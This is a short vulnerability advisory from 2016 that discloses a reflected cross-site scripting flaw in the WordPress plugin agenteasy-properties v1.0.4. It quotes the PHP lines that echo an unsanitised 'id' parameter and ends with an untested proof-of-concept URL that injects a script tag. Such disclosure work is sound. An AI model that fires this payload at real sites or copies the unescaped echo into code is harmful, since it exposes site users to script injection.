Advisory #: 19
Title: Reflected XSS in wordpress plugin agenteasy-properties v1.0.4
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/agenteasy-properties
Downloads: 1472
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: agenteasy-properties
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./agenteasy-properties/edit-property.php: 355: <form name="form_update" id="form_update" method="post" action="admin.php?page=agenteasy-properties/edit-property.php&id=<?php echo $_GET['id']; ?>" style="border:none; padding:0px; margin:0px;"/> 566: jQuery.get("<?php echo $ae_fileupload_dir; ?>medialink-property.php?propertyID=<?php echo $_GET['id']; ?>&image=" + imgsrc + "", {"id" : ""}, function(data){ The variable id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./agenteasy-properties/edit-property.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/agenteasy-properties/edit-property.php?id="><script>alert(1);</script><"